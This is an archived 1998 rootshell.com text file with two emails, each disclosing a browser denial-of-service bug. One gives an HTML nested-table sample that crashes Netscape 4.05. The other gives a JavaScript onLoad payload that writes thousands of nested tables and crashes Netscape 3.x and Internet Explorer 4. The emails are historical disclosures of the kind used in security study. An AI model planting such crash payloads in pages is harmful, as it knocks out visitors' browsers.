netscapetbl.txt

(2 KB) Pobierz
[ http://www.rootshell.com/ ]

From manic@bway.net Mon Jul  6 08:58:51 1998
Date: Sun, 5 Jul 1998 19:19:41 -0700
From: Leonid Ksido <manic@bway.net>
To: www-request@rootshell.com
Subject: bug in Netscape


Hello

Me and my friend discoverd a way to crash netscape browser with nested
tables. This bug has been tested on Communicator 4.05 on Linux Slackware
3.4, and Navigator 4.05 on Windows 98. Both Linux and Windows versions of
Netscape couldn't handle the tables. It crashed Navigator on all computers
that we tryed it on. Netscape Navigator crashes with nested tables inside
<span></span>. I don't have a clue what caused it, and neither I wish to
waiste my time trying to figure it out, but here to see a working sample
refer to www.bway.net/~manic/N remember this page crashes the browser or try
this:

<HTML>
<SPAN  STYLE="position:absolute; LEFT:0">
<TABLE BORDER="0" WIDTH=100%>
<TR>
<TD>
<TABLE>
<TR>
<TD>
</TD>
</TR>
<TR>
<TD>
<TABLE>
<TR>
<TD>
</TD>
</TR>
</TABLE>
</TD>
</TR>
</TABLE>
</TD>
</TR>
</TABLE>
</SPAN>
</HTML>

Thank you for your time
Leo

-----------------------------------------------------------------------------

From doom@ezaccess.net Mon Jul  6 13:48:34 1998
Date: Mon, 06 Jul 1998 16:34:13 -0700
From: "Eric.Swendsen" <doom@ezaccess.net>
To: www-request@rootshell.com
Subject: Another browser DoS...

Here's another browser DoS that works against Netscape 3.x and Internet
Explorer 4. It might work against other browsers, but those are the two
I have installed and tested it on. I discovered it about 6 months ago,
by accident. The appearance of that other browser DoS spurred me to send
this in. Enjoy.

------------------------------------------------------

<html>
<head>
<title></title>
<script>
<!--

function browserBonk()
{

	for(i = 0; i < 9999; i++)
		document.write("<table><tr><td>");
	for(i = 0; i < 9999; i++)
		document.write("</td></tr></table>");
}

// -->
</script>
</head>
<body onLoad="browserBonk()">
</body>
</html>

------------------------------------------------------

Thanks.

|-------------------|
| Eric Swendsen     |
| doom@ezaccess.net |
|-------------------|
Zgłoś jeśli naruszono regulamin